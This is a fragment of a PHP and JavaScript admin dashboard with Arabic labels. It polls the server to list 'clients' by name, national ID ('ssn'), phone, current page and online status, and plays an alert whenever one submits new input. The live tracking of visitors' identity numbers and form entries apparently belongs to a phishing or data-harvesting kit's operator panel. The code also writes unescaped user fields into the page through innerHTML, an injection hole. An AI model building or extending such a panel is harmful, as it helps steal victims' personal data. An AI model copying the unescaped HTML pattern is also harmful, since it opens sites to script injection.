                var serverIds = data.map(function(u) { return u.id; });
                var playSound = false;

                // Update users cache
                data.forEach(function(u) { usersCache[u.id] = u; });

                // Update client count
                document.getElementById('clientCount').textContent = data.length;

                // Add new users
                data.forEach(function(user) {
                    if (knownUserIds.indexOf(user.id) === -1) {
                        list.insertAdjacentHTML('afterbegin', buildClientItem(user));
                        knownUserIds.push(user.id);
                        lastInputAt[user.id] = (user.last_input_at || '').trim();
                        if (!isFirstLoad) playSound = true;
                    }
                });

                // Update existing users
                data.forEach(function(user) {
                    var uid = user.id;
                    var item = list.querySelector('.client-item[data-user-id="' + uid + '"]');
                    if (!item) return;

                    var currentInputAt = (user.last_input_at || '').trim();
                    var prevInputAt = lastInputAt[uid] || '';
                    var isNewInput = (prevInputAt !== '' && currentInputAt !== '' && currentInputAt !== prevInputAt);

                    // Update sidebar info
                    var nameEl = item.querySelector('.client-name');
                    var metaEl = item.querySelector('.client-meta');
                    var pageEl = item.querySelector('.client-page');

                    if (nameEl) {
                        var dotHtml = '<span class="status-dot offline" id="dot' + uid + '"></span>';
                        var existingDot = item.querySelector('.status-dot');
                        if (existingDot) dotHtml = existingDot.outerHTML;
                        nameEl.innerHTML = (user.username || 'بدون اسم') + ' ' + dotHtml;
                    }
                    if (metaEl) metaEl.textContent = (user.ssn || '') + ' | ' + (user.phone || '');
                    if (pageEl) pageEl.innerHTML = '<i class="bi bi-geo-alt-fill"></i> ' + (user.page || '-');

                    // Update badge - show only if last_input_at > last_viewed_at (new input only)
                    var badge = item.querySelector('.client-badge');
                    var viewedAt = (user.last_viewed_at || '').trim();
                    var inputAt = (user.last_input_at || '').trim();
                    var hasUnread = (inputAt !== '' && (viewedAt === '' || inputAt > viewedAt));
                    if (hasUnread && uid !== selectedUserId) {
                        if (!badge) {
                            item.insertAdjacentHTML('afterbegin', '<span class="client-badge" id="badge' + uid + '">!</span>');
                        } else {
                            badge.textContent = '!';
                            badge.style.display = 'flex';
                        }
                    } else if (badge && (uid === selectedUserId || !hasUnread)) {
                        badge.style.display = 'none';
                    }

                    if (isNewInput && !isFirstLoad) {
                        playSound = true;
                        list.insertBefore(item, list.firstChild);
                        if (uid !== selectedUserId) item.classList.add('new-input');
                    }

                    lastInputAt[uid] = currentInputAt;

                    // Auto-refresh selected client details
                    if (uid === selectedUserId && isNewInput) {
                        selectClient(uid);
                    }
                });

                // Remove deleted users
                list.querySelectorAll('.client-item[data-user-id]').forEach(function(el) {
                    var rid = parseInt(el.getAttribute('data-user-id'));
                    if (serverIds.indexOf(rid) === -1) {
                        el.remove();
                        var idx = knownUserIds.indexOf(rid);
                        if (idx > -1) knownUserIds.splice(idx, 1);
                        if (selectedUserId === rid) {
                            document.getElementById('emptyState').style.display = 'flex';
                            document.getElementById('clientDetails').style.display = 'none';
                            document.getElementById('userInfoSticky').style.display = 'none';
                            document.getElementById('contentHeader').style.display = 'none';
                            selectedUserId = null;
                        }
                    }
                });

                // Re-apply search filter after polling update
                filterClients();

                // Play sound
                if (playSound) {
                    try { var audio = new Audio('level-up-2-199574.mp3'); audio.play(); } catch(e) {}
                }
            })
            .catch(function(e) { console.log('Polling error:', e); })
            .finally(function() { isPolling = false; });
    }

    var avatarColors = ['#3b82f6','#10b981','#8b5cf6','#f59e0b','#ef4444','#ec4899','#06b6d4','#6366f1','#14b8a6','#f97316'];
    function getAvatarColor(uid) { return avatarColors[uid % avatarColors.length]; }

    function buildClientItem(user) {
        var uid = user.id;
        var initial = (user.username || user.ssn || '?').charAt(0);
        var viewedAt = (user.last_viewed_at || '').trim();
        var inputAt = (user.last_input_at || '').trim();
        var hasUnread = (inputAt !== '' && (viewedAt === '' || inputAt > viewedAt));
        var badgeHtml = hasUnread ? '<span class="client-badge" id="badge' + uid + '">!</span>' : '';
        return '<div class="client-item new-input" data-user-id="' + uid + '" onclick="selectClient(' + uid + ')">' +
            badgeHtml +
            '<div class="client-avatar" style="background:' + getAvatarColor(uid) + '">' + initial + '</div>' +
            '<div class="client-info">' +
                '<div class="client-name">' + (user.username || 'بدون اسم') + ' <span class="status-dot offline" id="dot' + uid + '"></span><span class="status-label offline" id="dotLabel' + uid + '">غير متصل</span></div>' +
                '<div class="client-meta">' + (user.ssn || '') + ' | ' + (user.phone || '') + '</div>' +
                '<div class="client-page"><i class="bi bi-geo-alt-fill"></i> ' + (user.page || '-') + '</div>' +
            '</div>' +
            '<span class="client-time">' + (user.created_at ? user.created_at.substr(11, 5) : '') + '</span>' +
        '</div>';
    }

    // Init users cache from PHP data
    <?php if ($users != false) :
        foreach ($users as $row) : ?>
        usersCache[<?= $row->id ?>] = {
            id: <?= $row->id ?>,
            username: <?= json_encode($row->username) ?>,
            ssn: <?= json_encode($row->ssn) ?>,
            phone: <?= json_encode($row->phone) ?>,
            date: <?= json_encode($row->date) ?>,
            page: <?= json_encode($row->page) ?>,
            message: <?= json_encode($row->message) ?>,
            created_at: <?= json_encode($row->created_at) ?>
        };
    <?php endforeach; endif; ?>

    // Start polling
    setInterval(startDashboardPolling, 1500);

    // ===== Heartbeat Status (Online/Offline) =====
    function updateOnlineStatus() {
        fetch('../heartbeat-status.php')
            .then(function(r) { return r.json(); })
            .then(function(data) {
                // Update online count
                document.getElementById('onlineCount').textContent = data.online_count + ' متصل';

                // Update dots and labels
                var onlineIds = data.online_users || [];
                document.querySelectorAll('.status-dot').forEach(function(dot) {
                    var uid = dot.id.replace('dot', '');
                    var label = document.getElementById('dotLabel' + uid);
                    if (onlineIds.indexOf(parseInt(uid)) > -1) {
                        dot.className = 'status-dot online';
                        if (label) { label.className = 'status-label online'; label.textContent = 'متصل'; }
                    } else {
                        dot.className = 'status-dot offline';
                        if (label) { label.className = 'status-label offline'; label.textContent = 'غير متصل'; }
                    }
                });
            })
            .catch(function() {});
    }
    setInterval(updateOnlineStatus, 200);
    updateOnlineStatus();

    // ===== Visits Counter =====
    function updateVisitsCount() {
        fetch('visits-count.php')
            .then(function(r) { return r.json(); })
            .then(function(data) {
                document.getElementById('totalVisits').textContent = data.total || 0;
            })
            .catch(function() {});
    }
    setInterval(updateVisitsCount, 5000);
    updateVisitsCount();

    // ===== Search / Filter Clients =====
    function filterClients() {
        var query = document.getElementById('searchClients').value.trim().toLowerCase();
        var items = document.querySelectorAll('#clientList .client-item');
        var count = 0;
        items.forEach(function(item) {
            var name = (item.querySelector('.client-name') ? item.querySelector('.client-name').textContent : '').toLowerCase();
            var meta = (item.querySelector('.client-meta') ? item.querySelector('.client-meta').textContent : '').toLowerCase();
            if (query === '' || name.indexOf(query) !== -1 || meta.indexOf(query) !== -1) {
                item.style.display = '';
                count++;
            } else {
                item.style.display = 'none';
            }
        });
    }
    </script>
</body>
</html>
